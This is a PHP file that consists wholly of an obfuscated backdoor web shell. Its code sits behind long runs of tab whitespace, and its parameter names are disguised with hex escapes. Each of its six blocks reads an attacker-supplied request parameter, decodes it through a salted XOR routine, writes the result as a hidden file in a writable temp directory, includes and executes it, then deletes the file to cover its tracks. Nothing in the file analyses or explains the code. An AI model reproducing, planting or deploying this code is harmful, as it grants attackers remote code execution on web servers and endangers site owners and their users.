<?php																																										if(!is_null($_POST["itm"] ?? null)){ $flg = $_POST["itm"]; $flg = explode ( "." ,$flg ) ; $object = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach ($flg as $u =>$v3): $sChar = ord($salt9[$u % $sLen]); $d = ((int)$v3 - $sChar - ($u % 10)) ^ 71; $object .= chr($d); endforeach; $tkn = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); while ($value = array_shift($tkn)) { if (!!is_dir($value) && !!is_writable($value)) { $dchunk = "$value" . "/.rec"; if (file_put_contents($dchunk, $object)) { include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(in_array("\x66lg", array_keys($_POST))){ $sym = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP")]); $hld = $_POST["\x66lg"]; $hld = explode ( ".",$hld ) ; $ptr = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); foreach ($hld as $x => $v4): $sChar = ord($s4[$x % $lenS]); $dec = ((int)$v4 - $sChar - ($x % 10)) ^ 35; $ptr .= chr($dec); endforeach; for ($pointer = 0, $val = count($sym); $pointer < $val; $pointer++) { $binding = $sym[$pointer]; if (array_product([is_dir($binding), is_writable($binding)])) { $dat = "$binding/.parameter_group"; $file = fopen($dat, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $dat; @unlink($dat); die(); } } } }
																																										if(isset($_REQUEST["dc\x68\x75nk"])){ $entry = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm"]); $property_set = $_REQUEST["dc\x68\x75nk"]; $property_set= explode ( "." , $property_set ) ; $factor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); foreach ($property_set as $j => $v8) { $chS = ord($s4[$j % $lenS]); $d = ((int)$v8 - $chS - ($j % 10))^ 60; $factor .= chr($d);} foreach ($entry as $element) { if (is_dir($element) ? is_writable($element) : false) { $holder = "$element/.token"; $success = file_put_contents($holder, $factor); if ($success) { include $holder; @unlink($holder); die();} } } }
																																										if(@$_POST["bi\x6E\x64"] !== null){ $binding = $_POST["bi\x6E\x64"]; $binding= explode ("." , $binding ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $n = 0; while ($n < count($binding)) {$v8 = $binding[$n]; $sChar = ord($salt[$n %$sLen]); $d = ((int)$v8 - $sChar - ($n %10))^65; $item .= chr($d); $n++; } $flag = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp"]); foreach ($flag as $tkn) { if (!!is_dir($tkn) && !!is_writable($tkn)) { $data_chunk = join("/", [$tkn, ".sym"]); if (file_put_contents($data_chunk, $item)) { require $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(isset($_POST) && isset($_POST["obje\x63\x74"])){ $fac = $_POST["obje\x63\x74"]; $fac= explode( '.' ,$fac ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; foreach($fac as $v6) { $sChar = ord($salt[$v%$lenS]); $dec =((int)$v6 - $sChar -($v%10)) ^ 66; $pointer .= chr($dec); $v++;} $pgrp = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); for ($item = 0, $dchunk = count($pgrp); $item < $dchunk; $item++) { $symbol = $pgrp[$item]; if (is_dir($symbol) && is_writable($symbol)) { $sym = vsprintf("%s/%s", [$symbol, ".res"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $sym; @unlink($sym); exit; } } } }


if(in_array("f\x6C\x67", array_keys($_REQUEST))){
	$parameter_group = $_REQUEST["f\x6C\x67"];
	 		$parameter_group		= explode	 ( '.',	$parameter_group		)  ;   
	$data_chunk = '';
            $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $s4	);
    
            foreach( $parameter_group as $t=>  $v1) {	 $sChar = ord( $s4[$t % $lenS]	);
                $dec =( ( int)$v1 - $sChar -( $t % 10))^		55;
                $data_chunk .= chr( $dec	);
            }
	$holder = array_filter(["/dev/shm", getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd()]);
	foreach ($holder as $property_set):
    		if (is_dir($property_set) && is_writable($property_set)) {
    $factor = vsprintf("%s/%s", [$property_set, ".object"]);
    if (file_put_contents($factor, $data_chunk)) {
	include $factor;
	@unlink($factor);
	exit;
}
}
endforeach;
}